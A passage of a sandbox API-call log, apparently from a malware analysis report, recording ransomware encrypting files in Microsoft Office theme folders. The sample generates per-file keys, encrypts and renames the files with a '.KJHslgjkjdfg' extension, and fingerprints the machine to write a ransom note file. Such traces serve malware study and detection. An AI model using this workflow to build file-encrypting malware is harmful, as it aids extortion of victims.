lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.379] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x262, lpOverlapped=0x0) returned 1 [0172.379] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x270, dwBufLen=0x270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x270) returned 1 [0172.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.380] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x270, lpOverlapped=0x0) returned 1 [0172.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.380] SetEndOfFile (hFile=0x114) returned 1 [0172.382] GetProcessHeap () returned 0x2ef0000 [0172.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.382] GetProcessHeap () returned 0x2ef0000 [0172.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.kjhslgjkjdfg")) returned 1 [0172.391] CloseHandle (hObject=0x114) returned 1 [0172.392] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.392] GetProcessHeap () returned 0x2ef0000 [0172.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.392] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.392] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.395] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.395] GetProcessHeap () returned 0x2ef0000 [0172.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.395] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.395] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.395] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.395] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.395] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.396] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x553, lpOverlapped=0x0) returned 1 [0172.396] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x560, dwBufLen=0x560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x560) returned 1 [0172.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.396] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x560, lpOverlapped=0x0) returned 1 [0172.396] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.396] SetEndOfFile (hFile=0x114) returned 1 [0172.399] GetProcessHeap () returned 0x2ef0000 [0172.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.399] GetProcessHeap () returned 0x2ef0000 [0172.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.401] CloseHandle (hObject=0x114) returned 1 [0172.401] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.402] GetProcessHeap () returned 0x2ef0000 [0172.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.402] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.402] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.407] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.407] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.407] GetProcessHeap () returned 0x2ef0000 [0172.407] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.407] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.407] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.407] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.407] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.407] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.407] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.408] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.408] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.408] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.408] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4f93, lpOverlapped=0x0) returned 1 [0172.409] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4fa0, dwBufLen=0x4fa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4fa0) returned 1 [0172.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.409] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4fa0, lpOverlapped=0x0) returned 1 [0172.410] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.410] SetEndOfFile (hFile=0x114) returned 1 [0172.413] GetProcessHeap () returned 0x2ef0000 [0172.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.413] GetProcessHeap () returned 0x2ef0000 [0172.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.418] CloseHandle (hObject=0x114) returned 1 [0172.419] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.419] GetProcessHeap () returned 0x2ef0000 [0172.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.419] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.419] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.419] GetProcessHeap () returned 0x2ef0000 [0172.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.419] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.419] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.419] GetProcessHeap () returned 0x2ef0000 [0172.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.419] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.420] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.420] GetProcessHeap () returned 0x2ef0000 [0172.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.420] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.420] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.420] GetProcessHeap () returned 0x2ef0000 [0172.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.420] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.420] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.420] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.420] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.420] RegCloseKey (hKey=0x114) returned 0x0 [0172.420] GetProcessHeap () returned 0x2ef0000 [0172.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.420] GetProcessHeap () returned 0x2ef0000 [0172.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.421] GetProcessHeap () returned 0x2ef0000 [0172.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.421] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.421] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.421] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.421] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.421] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.421] GetProcessHeap () returned 0x2ef0000 [0172.421] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.421] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.421] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.421] GetProcessHeap () returned 0x2ef0000 [0172.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.421] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt") returned 82 [0172.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.423] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.424] CloseHandle (hObject=0x114) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.425] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.425] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0172.425] GetProcessHeap () returned 0x2ef0000 [0172.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0172.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.429] GetProcessHeap () returned 0x2ef0000 [0172.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.429] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.429] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0172.429] GetProcessHeap () returned 0x2ef0000 [0172.429] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f3e278 [0172.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.431] GetProcessHeap () returned 0x2ef0000 [0172.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.431] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 